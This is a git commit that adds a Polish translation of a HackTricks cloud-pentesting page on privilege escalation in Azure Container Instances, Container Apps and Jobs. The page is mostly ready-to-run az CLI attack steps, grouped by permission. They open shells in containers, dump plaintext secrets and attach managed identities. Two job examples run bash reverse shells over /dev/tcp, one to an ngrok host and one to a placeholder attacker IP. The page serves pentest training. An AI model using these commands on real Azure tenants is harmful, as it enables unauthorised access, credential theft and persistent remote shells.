mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
+177
@@ -0,0 +1,177 @@
|
||||
# Az - Azure Container Instances, Apps & Jobs Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Instances, Apps & Jobs
|
||||
|
||||
Aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-instances-apps-jobs.md
|
||||
{{#endref}}
|
||||
|
||||
## ACI
|
||||
|
||||
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
|
||||
|
||||
Te uprawnienia pozwalają użytkownikowi na **wykonanie polecenia** w działającym kontenerze. Może to być użyte do **eskalacji uprawnień** w kontenerze, jeśli ma on przypisaną jakąkolwiek tożsamość zarządzaną. Oczywiście, możliwe jest również uzyskanie dostępu do kodu źródłowego i wszelkich innych wrażliwych informacji przechowywanych wewnątrz kontenera.
|
||||
|
||||
Aby uzyskać powłokę, wystarczy:
|
||||
```bash
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
|
||||
```
|
||||
Możliwe jest również **odczytanie wyjścia** kontenera za pomocą:
|
||||
```bash
|
||||
az container attach --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
Lub uzyskaj logi za pomocą:
|
||||
```bash
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Te uprawnienia pozwalają na **przypisanie zarządzanej tożsamości użytkownika** do grupy kontenerów. Jest to bardzo przydatne do eskalacji uprawnień w kontenerze.
|
||||
|
||||
Aby przypisać zarządzaną tożsamość użytkownika do grupy kontenerów:
|
||||
```bash
|
||||
az rest \
|
||||
--method PATCH \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
|
||||
--body '{
|
||||
"identity": {
|
||||
"type": "UserAssigned",
|
||||
"userAssignedIdentities": {
|
||||
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
|
||||
}
|
||||
}
|
||||
}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Te uprawnienia pozwalają na **tworzenie lub aktualizowanie grupy kontenerów** z **przypisaną tożsamością zarządzaną przez użytkownika**. Jest to bardzo przydatne do eskalacji uprawnień w kontenerze.
|
||||
```bash
|
||||
az container create \
|
||||
--resource-group <res-group> \
|
||||
--name nginx2 \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
|
||||
--restart-policy OnFailure \
|
||||
--os-type Linux \
|
||||
--cpu 1 \
|
||||
--memory 1.0
|
||||
```
|
||||
Ponadto możliwe jest również zaktualizowanie istniejącej grupy kontenerów, dodając na przykład argument **`--command-line`** z odwróconym powłoką.
|
||||
|
||||
## ACA
|
||||
|
||||
### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `microsoft.app/containerapps/revisions/replicas`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action`
|
||||
|
||||
Te uprawnienia pozwalają użytkownikowi **uzyskać powłokę** w działającym kontenerze aplikacji. Może to być użyte do **eskalacji uprawnień** w kontenerze, jeśli ma on przypisaną jakąkolwiek tożsamość zarządzaną. Oczywiście możliwe jest również uzyskanie dostępu do kodu źródłowego i wszelkich innych wrażliwych informacji przechowywanych wewnątrz kontenera.
|
||||
```bash
|
||||
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
|
||||
az containerapp debug --name <app-name> --resource-group <res-group>
|
||||
|
||||
```
|
||||
### `Microsoft.App/containerApps/listSecrets/action`
|
||||
|
||||
To uprawnienie pozwala na uzyskanie **czystego tekstu sekretów** skonfigurowanych wewnątrz aplikacji kontenerowej. Należy zauważyć, że sekrety mogą być skonfigurowane z czystym tekstem lub z linkiem do skarbca kluczy (w takim przypadku aplikacja będzie miała przypisaną tożsamość zarządzaną z dostępem do sekretów).
|
||||
```bash
|
||||
az containerapp secret list --name <app-name> --resource-group <res-group>
|
||||
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
|
||||
```
|
||||
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Te uprawnienia pozwalają na **przypisanie zarządzanej tożsamości użytkownika** do aplikacji kontenerowej. Jest to bardzo przydatne do eskalacji uprawnień w kontenerze. Wykonanie tej akcji z az cli wymaga również uprawnienia `Microsoft.App/containerApps/listSecrets/action`.
|
||||
|
||||
Aby przypisać zarządzaną tożsamość użytkownika do grupy kontenerów:
|
||||
```bash
|
||||
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
|
||||
```
|
||||
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`
|
||||
|
||||
Te uprawnienia pozwalają na **tworzenie lub aktualizowanie kontenera aplikacji** z **przypisaną tożsamością zarządzaną przez użytkownika**. Jest to bardzo przydatne do eskalacji uprawnień w kontenerze.
|
||||
```bash
|
||||
# Get environments
|
||||
az containerapp env list --resource-group Resource_Group_1
|
||||
|
||||
# Create app in a an environment
|
||||
az containerapp create \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--cpu 1 --memory 1.0 \
|
||||
--user-assigned <user-asigned-identity-name> \
|
||||
--min-replicas 1 \
|
||||
--command "<reserse shell>"
|
||||
```
|
||||
> [!TIP]
|
||||
> Zauważ, że z tymi uprawnieniami **inne konfiguracje aplikacji** mogą być modyfikowane, co może umożliwić przeprowadzenie innych ataków privesc i post exploitation w zależności od konfiguracji istniejących aplikacji.
|
||||
|
||||
## Jobs
|
||||
|
||||
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write`
|
||||
|
||||
Chociaż zadania nie są długoterminowe jak aplikacje kontenerowe, możesz wykorzystać możliwość nadpisania konfiguracji polecenia zadania podczas uruchamiania wykonania. Tworząc niestandardowy szablon zadania (na przykład, zastępując domyślne polecenie odwrotnym shellem), możesz uzyskać dostęp do powłoki w kontenerze, który uruchamia zadanie.
|
||||
```bash
|
||||
# Retrieve the current job configuration and save its template:
|
||||
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
|
||||
|
||||
# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
|
||||
# For example, change the container’s command to:
|
||||
# - args:
|
||||
# - -c
|
||||
# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
|
||||
# command:
|
||||
# - /bin/bash
|
||||
# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest
|
||||
|
||||
# Update and wait until the job is triggered (or change ths type to scheduled)
|
||||
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml
|
||||
|
||||
# Start a new job execution with the modified template:
|
||||
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
|
||||
```
|
||||
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/listSecrets/action`
|
||||
|
||||
Jeśli masz te uprawnienia, możesz wylistować wszystkie sekrety (pierwsze uprawnienie) wewnątrz kontenera Job, a następnie odczytać wartości skonfigurowanych sekretów.
|
||||
```bash
|
||||
az containerapp job secret list --name <job-name> --resource-group <res-group>
|
||||
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
|
||||
```
|
||||
### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write`
|
||||
|
||||
Jeśli masz uprawnienia do modyfikacji konfiguracji zadania, możesz przypisać tożsamość zarządzaną przypisaną do użytkownika. Ta tożsamość może mieć dodatkowe uprawnienia (na przykład dostęp do innych zasobów lub sekretów), które mogą być nadużywane do eskalacji uprawnień wewnątrz kontenera.
|
||||
```bash
|
||||
az containerapp job update \
|
||||
--name <job-name> \
|
||||
--resource-group <res-group> \
|
||||
--assign-identity <user-assigned-identity-id>
|
||||
```
|
||||
### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Jeśli możesz utworzyć nową pracę Container Apps (lub zaktualizować istniejącą) i przypisać zarządzaną tożsamość, możesz zaprojektować pracę tak, aby wykonywała ładunek, który eskaluje uprawnienia. Na przykład, możesz utworzyć nową pracę, która nie tylko uruchamia odwrotny powłokę, ale także wykorzystuje poświadczenia zarządzanej tożsamości do żądania tokenów lub dostępu do innych zasobów.
|
||||
```bash
|
||||
az containerapp job create \
|
||||
--name <new-job-name> \
|
||||
--resource-group <res-group> \
|
||||
--environment <environment-name> \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--user-assigned <user-assigned-identity-id> \
|
||||
--trigger-type Schedule \
|
||||
--cron-expression "*/1 * * * *" \
|
||||
--replica-timeout 1800 \
|
||||
--replica-retry-limit 0 \
|
||||
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
|
||||
```
|
||||
> [!TIP]
|
||||
> To polecenie zgłosi błąd, jeśli nie masz uprawnienia `Microsoft.App/jobs/read`, chociaż zadanie zostanie utworzone.
|
||||
|
||||
### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`
|
||||
|
||||
Wygląda na to, że z tymi uprawnieniami powinno być możliwe uruchomienie zadania. Może to być użyte do uruchomienia zadania z powrotnym powłoką lub innym złośliwym poleceniem bez potrzeby modyfikacji konfiguracji zadania.
|
||||
|
||||
Nie udało mi się tego uruchomić, ale według dozwolonych parametrów powinno to być możliwe.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user